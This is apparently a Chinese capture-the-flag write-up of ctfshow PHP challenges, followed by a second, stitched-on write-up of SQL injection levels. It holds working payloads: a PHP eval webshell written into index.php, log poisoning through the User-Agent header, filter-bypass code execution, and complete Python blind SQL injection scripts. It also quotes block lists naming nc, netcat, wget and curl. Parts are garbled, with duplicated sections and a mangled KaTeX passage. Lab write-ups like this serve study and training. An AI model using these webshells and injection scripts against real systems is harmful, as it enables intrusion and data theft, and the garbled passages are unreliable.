    error_reporting(0);
    highlight_file(__FILE__);
    include("flag.php");
    if(isset($_POST['f'])){
        $f = (String)$_POST['f'];
    
        if(preg_match('/.+?ctfshow/is', $f)){
            die('bye!');
        }
        if(stripos($f,'36Dctfshow') === FALSE){
            die('bye!!');
        }
    
        echo $flag;
    
    } 
    

    题目同上一题类似,比较差异后,发现不可以采用数组绕过,这里暂时不明白为什么

    $a = str_repeat("show",250000);
    $b = $a . "36Dctfshow";
    echo $b;
    

    编写字符串,对第一个正则进行长度限制的绕过,然后输入36Dctfshow,绕过第二个正则

    web132

    首先访问robots.txt,查看到当前网页不允许访问的文件有admin,直接打开admin,进入找到源码

    #error_reporting(0);
    include("flag.php");
    highlight_file(__FILE__);
    
    
    if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
        $username = (String)$_GET['username'];
        $password = (String)$_GET['password'];
        $code = (String)$_GET['code'];
    
        if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
            
            if($code == 'admin'){
                echo $flag;
            }
            
        }
    } 
    

    && || 的优先级

    优先级的问题,||的优先级低于&&,所以只需要保证username=admin即可,令code=admin就可以满足if条件

    payload:?username=admin&code=admin&password=1212342131
    

    web133

    error_reporting(0);
    highlight_file(__FILE__);
    //flag.php
    if($F = @$_GET['F']){
        if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
            eval(substr($F,0,6));
        }else{
            die("6个字母都还不够呀?!");
        }
    }
    

    反弹shell、curl外带、盲注

    没有回显的RCE题目,可以通过反弹shell、curl外带、盲注

    变量套变量

    curl外带

    curl

    Linux中的cp命令

    利用cp命令将flag.php写入1.txt,然后访问1.txt

    payload:
    ?F=`$F` ;cp flag.php 1234.txt
    /1234.txt
    

    注意是反引号,相当于shell_exec()函数

    web134

    highlight_file(__FILE__);
    $key1 = 0;
    $key2 = 0;
    if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
        die("nonononono");
    }
    @parse_str($_SERVER['QUERY_STRING']);
    extract($_POST);
    if($key1 == '36d' && $key2 == '36d') {
        die(file_get_contents('flag.php'));
    }
    

    $_SERVER[‘QUERY_STRING’]

    获取查询语句,实例中可知,获取的是?后面的值,只有get请求

    extract()

    该函数是将数组中的值依次复制给$键=值

    parse_string()

    将字符串解析到变量中

    如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

    payload:?_POST[key1]=36d&_POST[key2]=36d
    

    web135

    error_reporting(0);
    highlight_file(__FILE__);
    //flag.php
    if($F = @$_GET['F']){
        if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
            eval(substr($F,0,6));
        }else{
            die("师傅们居然破解了前面的,那就来一个加强版吧");
        }
    }
    

    Linux中的cp命令

    利用cp命令将flag.php写入1.txt,然后访问1.txt

    payload:
    ?F=`$F` ;cp flag.php 1234.txt
    /1234.txt
    

    注意是反引号,相当于shell_exec()函数

    web136

    error_reporting(0);
    function check($x){
        if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
            die('too young too simple sometimes naive!');
        }
    }
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        check($c);
        exec($c);
    }
    else{
        highlight_file(__FILE__);
    } 
    

    Linux tee命令

    tee file //覆盖

    tee -a file //追加

    tee - //输出到标准输出两次

    tee --//输出到标准输出三次

    tee file1 file2 // 输出到标准输出两次,并写到那两个文件中

    ls | tee file

    另:把标准错误也被tee读取 ls “*” 2>&1 | tee ls.txt

    ?c=ls /|tee 1  //将根目录下的内容写入1
    /1             //访问1,下载文件得到f149_15_h3r3
    ?c=nl /f149_15_h3r3|tee 2//将flag内容写入2
    /2             //访问2,下载得flag
    

    web137

    
    error_reporting(0);
    highlight_file(__FILE__);
    class ctfshow
    {
        function __wakeup(){
            die("private class");
        }
        static function getFlag(){
            echo file_get_contents("flag.php");
        }
    }
    
    
    
    call_user_func($_POST['ctfshow']); 
    

    调用类中函数

    利用call_user_func()函数,通过post传入得ctfshow的值,来回调ctfshow类中的getFlag函数

    payload:ctfshow=ctfshow::getFlag
    

    web138

    error_reporting(0);
    highlight_file(__FILE__);
    class ctfshow
    {
        function __wakeup(){
            die("private class");
        }
        static function getFlag(){
            echo file_get_contents("flag.php");
        }
    }
    
    if(strripos($_POST['ctfshow'], ":")>-1){
        die("private function");
    }
    
    call_user_func($_POST['ctfshow']); 
    

    同样是回调函数,只不过多了一步过滤而已,利用回调函数传入两个参数

    call_user_func函数的使用

    
    <?php
    
    class myclass {
        static function say_hello()
        {
            echo "Hello!\n";
        }
    }
    
    $classname = "myclass";
    
    call_user_func(array($classname, 'say_hello'));                 #利用了这里
    call_user_func($classname .'::say_hello'); // As of 5.2.3
    
    $myobject = new myclass();
    
    call_user_func(array($myobject, 'say_hello'));
    
    ?>
    
    

    以上实例会输出

    Hello!
    Hello!
    Hello!
    

    由上可知,传入的参数可以是一个数组,数组第一个值为类名,之后的值为调用的函数名

    故可以构造payload

    ctfshow[0]=ctfshow&ctfshow[1]=getFlag
    

    web139

    function check($x){
        if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
            die('too young too simple sometimes naive!');
        }
    }
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        check($c);
        exec($c);
    }
    else{
        highlight_file(__FILE__);
    } 
    

    可以利用给出的脚本跑出flag

    web140

    error_reporting(0);
    highlight_file(__FILE__);
    if(isset($_POST['f1']) && isset($_POST['f2'])){
        $f1 = (String)$_POST['f1'];
        $f2 = (String)$_POST['f2'];
        if(preg_match('/^[a-z0-9]+$/', $f1)){
            if(preg_match('/^[a-z0-9]+$/', $f2)){
                $code = eval("return $f1($f2());");
                if(intval($code) == 'ctfshow'){
                    echo file_get_contents("flag.php");
                }
            }
        }
    }
    
    
    

    弱比较函数调用

    在intval($code)=='ctfshow’中,由于是弱比较,等号右侧为0,只需让等号左侧也为字符串即可

    利用eval()命令执行函数,来执行内部代码,生成一个字符串即可拿到flag

    payload:f1=sha1&f2=md5
    

    web141

    #error_reporting(0);
    highlight_file(__FILE__);
    if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
        $v1 = (String)$_GET['v1'];
        $v2 = (String)$_GET['v2'];
        $v3 = (String)$_GET['v3'];
    
        if(is_numeric($v1) && is_numeric($v2)){
            if(preg_match('/^\W+$/', $v3)){
                $code =  eval("return $v1$v3$v2;");
                echo "$v1$v3$v2 = ".$code;
            }
        }
    }
    

    /^\W+$/

    /^\W+$/用于匹配非数字字母下划线的字符

    取反绕过

    $system = "system";
    $command = "cat f*";
    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
    
    

    运行脚本构造 system(‘cat f*’),得到

    payload:?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)-&v2=1
    

    数字和命令可以进行一些运算

    1-phpinfo(); 可以执行phpinfo()

    异或运算

    相同为0,不同为1

    web142

    error_reporting(0);
    highlight_file(__FILE__);
    if(isset($_GET['v1'])){
        $v1 = (String)$_GET['v1'];
        if(is_numeric($v1)){
            $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
            sleep($d);
            echo file_get_contents("flag.php");
        }
    }
    

    直接构造v1=0,得到flag

    web143

    highlight_file(__FILE__);
    if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
        $v1 = (String)$_GET['v1'];
        $v2 = (String)$_GET['v2'];
        $v3 = (String)$_GET['v3'];
        if(is_numeric($v1) && is_numeric($v2)){
            if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                    die('get out hacker!');
            }
            else{
                $code =  eval("return $v1$v3$v2;");
                echo "$v1$v3$v2 = ".$code;
            }
        }
    }
    

    过滤了加减,还可以用乘除,过滤了~还可以用异或构造命令

    payload:?v1=10&v2=0&v3=*("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%0e%0c%00%00"^"%60%60%20%2a")?>
    

    web144

    highlight_file(__FILE__);
    if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
        $v1 = (String)$_GET['v1'];
        $v2 = (String)$_GET['v2'];
        $v3 = (String)$_GET['v3'];
    
        if(is_numeric($v1) && check($v3)){
            if(preg_match('/^\W+$/', $v2)){
                $code =  eval("return $v1$v3$v2;");
                echo "$v1$v3$v2 = ".$code;
            }
        }
    }
    
    function check($str){
        return strlen($str)===1?true:false;
    }
    

    同143题差距不大,仍使用上一题的payload即可,只需要对调一下v2和v3参数的值

    payload:?v1=10&v3=1&v2=*("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%0e%0c%00%00"^"%60%60%20%2a")?>
    

    web145

    highlight_file(__FILE__);
    if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
        $v1 = (String)$_GET['v1'];
        $v2 = (String)$_GET['v2'];
        $v3 = (String)$_GET['v3'];
        if(is_numeric($v1) && is_numeric($v2)){
            if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                    die('get out hacker!');
            }
            else{
                $code =  eval("return $v1$v3$v2;");
                echo "$v1$v3$v2 = ".$code;
            }
        }
    }
    

    三目运算符

    eval(“return 1?phpinfo():1;”);

    该命令是可以执行phpinfo()的,所以可以借助三目运算符绕过

    所以只需要对前面的payload稍加修改

    payload:?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5):&v2=1
    

    web146

    highlight_file(__FILE__);
    if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
        $v1 = (String)$_GET['v1'];
        $v2 = (String)$_GET['v2'];
        $v3 = (String)$_GET['v3'];
        if(is_numeric($v1) && is_numeric($v2)){
            if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                    die('get out hacker!');
            }
            else{
                $code =  eval("return $v1$v3$v2;");
                echo "$v1$v3$v2 = ".$code;
            }
        }
    } 
    

    过滤了:和; ,所以没有办法使用三目运算符

    等号和位运算符

    eval("return 1==phpinfo()||2;");
    

    故payload

    ?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)||&v2=1
    

    web147

    highlight_file(__FILE__);
    
    if(isset($_POST['ctf'])){
        $ctfshow = $_POST['ctf'];
        if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
            $ctfshow('',$_GET['show']);
        }
    
    }
    

    create_function()函数注入

    create_function('$a','echo $a."123"')
    
    类似于
    
    function f($a) {
      echo $a."123";
    }
    

    -D匹配非数字

    用}闭合原来的函数,然后执行命令,然后再把多余的}给注释掉就可以了

    php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

    payload:
    ?show=}system("cat f*");/*
    ctf=\create_function
    

    web148

    include 'flag.php';
    if(isset($_GET['code'])){
        $code=$_GET['code'];
        if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
            die("error");
        }
        @eval($code);
    }
    else{
        highlight_file(__FILE__);
    }
    
    function get_ctfshow_fl0g(){
        echo file_get_contents("flag.php");
    }
    

    没有过滤^直接构造异或

    ?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");
    

    或者利用中文变量

    也是构造异或

    code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
    

    web149

    
    error_reporting(0);
    highlight_file(__FILE__);
    
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    
    file_put_contents($_GET['ctf'], $_POST['show']);
    
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    } 
    

    条件竞争

    非预期解

    利用file_put_content()函数写入index.php中一句话木马

    payload:
    ?ctf=index.php
    show=<?php eval($_POST[1]);?>
    然后蚁剑链接
    

    web150

    include("flag.php");
    error_reporting(0);
    highlight_file(__FILE__);
    
    class CTFSHOW{
        private $username;
        private $password;
        private $vip;
        private $secret;
    
        function __construct(){
            $this->vip = 0;
            $this->secret = $flag;
        }
    
        function __destruct(){
            echo $this->secret;
        }
    
        public function isVIP(){
            return $this->vip?TRUE:FALSE;
            }
        }
    
        function __autoload($class){
            if(isset($class)){
                $class();
        }
    }
    
    #过滤字符
    $key = $_SERVER['QUERY_STRING'];
    if(preg_match('/\_| |\[|\]|\?/', $key)){
        die("error");
    }
    $ctf = $_POST['ctf'];
    extract($_GET);
    if(class_exists($__CTFSHOW__)){
        echo "class is exists!";
    }
    
    if($isVIP && strrpos($ctf, ":")===FALSE){
        include($ctf);
    } 
    

    非预期解-日志包含

    首先在UA头中写入一句话木马

    <?php eval($_REQUEST[1]);?>
    

    然后利用ctf传参,传入日志的路径,使日志被访问

    ctf=/var/log/nginx/access.log
    

    设置isVIP的值为1,使最下面的if条件成立

    ?isVIP=1
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kfmqiOfH-1643189283273)(C:\Users\86186\AppData\Roaming\Typora\typora-user-images\image-20220126165730283.png)]

    web150-plus

    include("flag.php");
    error_reporting(0);
    highlight_file(__FILE__);
    
    class CTFSHOW{
        private $username;
        private $password;
        private $vip;
        private $secret;
    
        function __construct(){
            $this->vip = 0;
            $this->secret = $flag;
        }
    
        function __destruct(){
            echo $this->secret;
        }
    
        public function isVIP(){
            return $this->vip?TRUE:FALSE;
            }
        }
    
        function __autoload($class){
            if(isset($class)){
                $class();
        }
    }
    
    #过滤字符
    $key = $_SERVER['QUERY_STRING'];
    if(preg_match('/\_| |\[|\]|\?/', $key)){
        die("error");
    }
    $ctf = $_POST['ctf'];
    extract($_GET);
    if(class_exists($__CTFSHOW__)){
        echo "class is exists!";
    }
    
    if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
        include($ctf);
    }
    

    __autoload()

    当第一次使用一个类A时,如果找不到,会自动调用__autoload()方法,并将类名A作为参数传入,我们在 __autoload() 中需要的做的就是根据类名,找到相应的文件,并包含进来。

    本题中class_exists()类是第一次使用,可以通过对它的使用来调用autoload()这个魔术方法输出变量$class

    过滤掉了 _ ,可以通过…绕过

    因为题中有extract函数,会将传入的数组解析掉,所以get传入:?..CTFSHOW…=phpinfo

    ?..CTFSHOW..=phpinfo
    

    传入后,调用__autoload()函数,实现phpinfo();

    去phpinfo()环境变量中发现flag

    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }
    
    function __destruct(){
        echo $this->secret;
    }
    
    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }
    
    function __autoload($class){
        if(isset($class)){
            $class();
    }
    

    }

    #过滤字符
    $key = $_SERVER[‘QUERY_STRING’];
    if(preg_match(’/_| |[|]|?/’, $key)){
    die(“error”);
    }
    $ctf = P O S T [ ′ c t f ′ ] ; e x t r a c t ( _POST['ctf']; extract( POST[ctf];extract(_GET);
    if(class_exists($CTFSHOW)){
    echo “class is exists!”;
    }

    if(KaTeX parse error: Expected 'EOF', got '&' at position 7: isVIP &̲& strrpos(ctf, “:”)===FALSE){
    include($ctf);
    }

    
    ### 非预期解-日志包含
    
    首先在UA头中写入一句话木马
    
    
    <?php eval($_REQUEST[1]);?>
    
    然后利用ctf传参,传入日志的路径,使日志被访问
    
    

    ctf=/var/log/nginx/access.log

    
    设置isVIP的值为1,使最下面的if条件成立
    
    

    ?isVIP=1

    请添加图片描述

    
    
    
    ## web150-plus
    
    ~~~php
    include("flag.php");
    error_reporting(0);
    highlight_file(__FILE__);
    
    class CTFSHOW{
        private $username;
        private $password;
        private $vip;
        private $secret;
    
        function __construct(){
            $this->vip = 0;
            $this->secret = $flag;
        }
    
        function __destruct(){
            echo $this->secret;
        }
    
        public function isVIP(){
            return $this->vip?TRUE:FALSE;
            }
        }
    
        function __autoload($class){
            if(isset($class)){
                $class();
        }
    }
    
    #过滤字符
    $key = $_SERVER['QUERY_STRING'];
    if(preg_match('/\_| |\[|\]|\?/', $key)){
        die("error");
    }
    $ctf = $_POST['ctf'];
    extract($_GET);
    if(class_exists($__CTFSHOW__)){
        echo "class is exists!";
    }
    
    if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
        include($ctf);
    }
    

    __autoload()

    当第一次使用一个类A时,如果找不到,会自动调用__autoload()方法,并将类名A作为参数传入,我们在 __autoload() 中需要的做的就是根据类名,找到相应的文件,并包含进来。

    本题中class_exists()类是第一次使用,可以通过对它的使用来调用autoload()这个魔术方法输出变量$class

    过滤掉了 _ ,可以通过 '… '绕过

    因为题中有extract函数,会将传入的数组解析掉,所以get传入:?..CTFSHOW…=phpinfo

    ?..CTFSHOW..=phpinfo
    

    传入后,调用__autoload()函数,实现phpinfo();

    去phpinfo()环境变量中发现flag

    更多相关内容
  • ctfshow web入门-sql注入

    千次阅读 2021-09-19 13:04:51
    ctfshow web入门-sql注入web171web172web173web174web175web176web177web178web179web180web181web182web183web184web185web186web187web188web189web190web191web192web193web194web195web195web197web198web199...

    web171

    • 根据题目给出的查询语句构造 Payload
    $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
    
    爆数据库名
    -1' union select 1,database(),3 --+
    爆表名
    -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
    爆列名
    -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user' --+
    爆数据
    -1' union select 1,concat(0x7e,id,0x7e,username,0x7e,password),3 from ctfshow_user limit 25--+
    

    web172

    • 根据题目给出的查询语句构造 Payload
    $sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
    
    爆数据库名
    -1' union select database(),2 --+
    爆表名
    -1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
    爆列名
    -1' union select group_concat(column_name),2 from information_schema.columns where table_name='ctfshow_user2' --+
    爆数据
    -1' union select to_base64(username),to_base64(password) from ctfshow_user2--+
    

    web173

    • 根据题目给出的查询语句构造 Payload
    $sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
    
    爆数据库名
    -1' union select 1,database(),3 --+
    爆表名
    -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
    爆列名
    -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user3' --+
    爆数据
    -1' union select 1,to_base64(username),to_base64(password) from ctfshow_user3 --+
    

    web174

    • 发现无法在页面中获得输出,抓包后发现是布尔盲注

    在这里插入图片描述

    import time
    import requests
    
    def boolBlindSql(url):
        flag = ''
        for i in range(1,100):
            low = 32
            high = 127
            while low < high:
                mid = (low + high) >> 1
                payload = "?id=1\' and 1=if(ascii(substr((select password from ctfshow_user4 where username=\'flag\'),{},1))>{},1,0) --+".format(i,mid)
                res = requests.get(url + payload)
                if 'admin' in res.text:
                    low = mid + 1
                else:
                    high = mid
            if low != 32:
                flag += chr(low)
                print('[+] ' + flag)
                continue
            else:
                break
    
    if __name__ == '__main__':
        url = "http://9260e8d4-aa8f-47ca-8737-7e4bdc8bff09.challenge.ctf.show:8080/api/v4.php"
        boolBlindSql(url)
    

    web175

    • 发现无法在页面中获得输出,抓包后发现也没有回显,猜测是时间盲注
    import time
    import requests
    
    def timeBlindSql(url):
        flag = ''
        for i in range(1,100):
            low = 32
            high = 127
            while low < high:
                mid = (low + high) >> 1
                payload = "?id=1\' or if(ascii(substr((select password from ctfshow_user5 where username=\'flag\'),{},1))>{},benchmark(10000000,sha(1)),0)--+".format(i,mid)
                try:
                    res = requests.get(url + payload, timeout=1.5)
                    high = mid
                except Exception as e:
                    low = mid + 1
    
    
            if low != 32:
                flag += chr(low)
                print('[+] ' + flag)
                continue
            else:
                break
    
    if __name__ == '__main__':
        url = 'http://ea22cc4b-de61-4e78-8f26-7f4c5cb9b750.challenge.ctf.show:8080/api/v5.php'
        timeBlindSql(url)
    

    web176

    • Payload
    1' or '1'='1' --+
    

    web177

    • Payload
    1'or'1'='1'%23
    或者
    1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username='flag'%23
    

    web178

    • Payload
    1'or'1'='1'%23
    或者
    1'%09union%09select%09password,1,1%09from%09ctfshow_user%09where%09username='flag'%23
    

    web179

    • Payload
    1'or'1'='1'%23
    或者
    1'%0cunion%0cselect%0cpassword,1,1%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23
    

    web180

    • Payload
    -1'or(mid(username,1,1)='f')and'1'='1
    

    web181

    • Payload
    -1'or(mid(username,1,1)='f')and'1'='1
    

    web182

    • Payload
    -1'or(mid(username,1,1)='f')and'1'='1
    

    web183

    • 测试后发现当 POST tableName=ctfshow_user 时会有回显,根据回显内容构造脚本
    import requests
    
    def regexpBlindSql(url):
        flag = ''
        chrOfFlag = r'ctfshow{-0123456789abdegijklmnpqruvxyz}'
        for i in range(1,50):
            for ch in chrOfFlag:
                data = {
                    "tableName" : "(ctfshow_user)where(mid(pass,{},1))regexp('{}')".format(i,ch)
                }
                res = requests.post(url, data=data)
                if '$user_count = 1;' in res.text:
                    flag += ch
                    print('[+]' + flag)
                    break
    
    if __name__ == '__main__':
        url = '''http://c10f0bff-9f7e-4bdd-8d11-71c0eb7efa49.challenge.ctf.show:8080/select-waf.php'''
        regexpBlindSql(url)
    

    web184

    • 由于这里过滤很多,上一题的 where 也被过滤了,考虑用 right join 来进行注入
    import requests
    import string
    import binascii
    url = 'http://1e3df5be-6e3c-443b-b738-2471d9537f9c.challenge.ctf.show:8080/select-waf.php'
    payload = {
            "tableName":''
            }
    flag = '{'
    chrOfFlag = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
    judge ='$user_count = 22;'
    for i in range(2,50):
        for c in chrOfFlag:
            a = flag + c     
            a = a.encode('utf-8')  #按utf-8编码
            a = binascii.hexlify(a) #编码为16进制
            a = str(a)  #化为字符串
            a = '0x' + a[2 : len(a) - 1] #形成16进制格式
            payload['tableName'] = "ctfshow_user a join ctfshow_user b on (substr(a.pass,8,{}) regexp {})".format(i,a)
            response = requests.post(url, data = payload)
            if response.text.find(judge) != -1:
                flag += c
                print('[+] ' + flag)    
                break
    

    web185

    • 过滤了数字,用下面图片中相关内容进行绕过

    在这里插入图片描述

    import requests
    
    
    url = 'http://3bfb7aa3-6f20-45d2-a207-b0f1c33cbd17.challenge.ctf.show:8080/select-waf.php'
    preflag = 'ctfshow{'
    strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
    payload = 'ctfshow_user as a right join ctfshow_user as b on hex(substr(b.pass, {}, {}))regexp(hex({char}))'
    
    def createNumber(num):
        ret = 'hex(ceil(cot(-ascii(char_length(now())))))'
        if num != 1:
            for i in range(num - 1):
                ret = ret + '+' + 'hex(ceil(cot(-ascii(char_length(now())))))'
        return ret
    
    def noNumber2GetFlag():
        flag = ''
        for i in range(42):
            # print('[+] Start blind {} palce'.format(i))
            for ch in strings:
                data = {
                    'tableName' : payload.format(createNumber(i + 1), createNumber(1), char=createNumber(ord(ch)))
                }
                res = requests.post(url, data)
                if res.text.find('43') > 0:
                    flag += ch
                    print('[+] ' + flag)
                    break
        return flag
    if __name__ == '__main__':
        print(noNumber2GetFlag())
    

    web186

    • 过滤条件绕过后和上一题一样的脚本
    import requests
    
    
    url = 'http://9ae687ca-baad-41a4-a8f1-a2c9dea3b271.challenge.ctf.show:8080/select-waf.php'
    preflag = 'ctfshow{'
    strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
    payload = 'ctfshow_user as a right join ctfshow_user as b on hex(substr(b.pass, {}, {}))regexp(hex({char}))'
    
    def createNumber(num):
        ret = 'hex(ceil(cot(-ascii(char_length(now())))))'
        if num != 1:
            for i in range(num - 1):
                ret = ret + '+' + 'hex(ceil(cot(-ascii(char_length(now())))))'
        return ret
    
    def noNumber2GetFlag():
        flag = ''
        for i in range(42):
            # print('[+] Start blind {} palce'.format(i))
            for ch in strings:
                data = {
                    'tableName' : payload.format(createNumber(i + 1), createNumber(1), char=createNumber(ord(ch)))
                }
                res = requests.post(url, data)
                if res.text.find('43') > 0:
                    flag += ch
                    print('[+] ' + flag)
                    break
        return flag
    if __name__ == '__main__':
        print(noNumber2GetFlag())
    

    web187

    • 分析源码,发现关键点 md5($_POST['password'],true),当该十六字符二进制格式开头为 ' or ' 时,后面的字符串为一个非零的数字开头都会返回 True,这样便可以绕过这里从而拿到 Flag,这里给出几个符合条件的字符串:ffifdyop、129581926211651571912466741651878684928、

    在这里插入图片描述

      $username = $_POST['username'];
      $password = md5($_POST['password'],true);
    
      //只有admin可以获得flag
      if($username!='admin'){
          $ret['msg']='用户名不存在';
          die(json_encode($ret));
      }
    
    POST: username=admin&password=ffifdyop
    

    web188

    • 这里再密码判断需要满足是一个纯数字,且后面进行了一个弱比较,考虑用 0 来绕过,而在用户名判断的地方可以用布尔的 0 来绕过,这里为 0 其实也就是 where username != 1,即可查出所有的用户信息,原因戳这
    //用户名检测
    if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
      $ret['msg']='用户名非法';
      die(json_encode($ret));
    }
    
    //密码检测
    if(!is_numeric($password)){
      $ret['msg']='密码只能为数字';
      die(json_encode($ret));
    }
    
    //密码判断
    if($row['pass']==intval($password)){
        $ret['msg']='登陆成功';
        array_push($ret['data'], array('flag'=>$flag));
      }
        
    
    POST:username=1<1&password=0
    

    web189

    • 题目给出 Flag 在 api/index.php 里,用 load_file 盲注查询即可
    import requests
    from tqdm import tqdm
    
    
    def load_fileBlindSql():
        strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
        flag = 'ctfshow{'
        while True:
            for ch in tqdm(strings):
                temp = flag + ch
                payload = {
                    "username":"if((load_file('/var/www/html/api/index.php'))regexp('{}'),0,1)".format(temp),
                    "password":"1"
                }
                res = requests.post('http://98ddf685-7bb6-4661-be3c-81f5e80f2941.challenge.ctf.show:8080/api/index.php',data=payload)
                if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text:
                    flag += ch
                    print('[+] ' + flag)
                    if ch == '}':
                      exit()
                    break
    
    if __name__ == '__main__':
        load_fileBlindSql()
    

    web190

    • 无过滤的布尔盲注
    import requests
    
    def boolBlindSql():
        table_name = ''
        strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
        headers = {"Content-Type": "application/x-www-form-urlencoded",
                   'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'}
        for i in range(1, 100):
            low = 32
            high = 127
            while low < high:
                mid = (low + high) >> 1
                # payload = "username=admin' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0)--+&password=1"
                # payload = "username=admin' and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))>{},1,0)--+&password=1"
                payload = "username=admin' and if(ascii(mid((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{},1,0)--+&password=1"
                res = requests.post(url='http://609c417a-7958-45db-9922-03cb5253db3b.challenge.ctf.show:8080/api/', data=payload.format(i,mid), headers=headers)
                if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text:
                    low = mid + 1
                else:
                    high = mid
            if low != 32:
                table_name += chr(low)
                print('[+] ' + table_name)
                continue
            else:
                break
    
    
    
    if __name__ == '__main__':
        boolBlindSql()
    

    web191

    • 过滤了 ascii,用 ord 即可
    import requests
    
    def boolBlindSql():
        table_name = ''
        strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz,~_+?!}'
        headers = {"Content-Type": "application/x-www-form-urlencoded",
                   'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'}
        for i in range(1, 100):
            low = 32
            high = 127
            while low < high:
                mid = (low + high) >> 1
                # payload = "username=admin' and if(ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0)--+&password=1"
                # payload = "username=admin' and if(ord(mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))>{},1,0)--+&password=1"
                payload = "username=admin' and if(ord(mid((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{},1,0)--+&password=1"
                res = requests.post(url='http://e5b85a69-befa-4aca-80d1-9ae2c69224b2.challenge.ctf.show:8080//api/', data=payload.format(i,mid), headers=headers)
                if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text:
                    low = mid + 1
                else:
                    high = mid
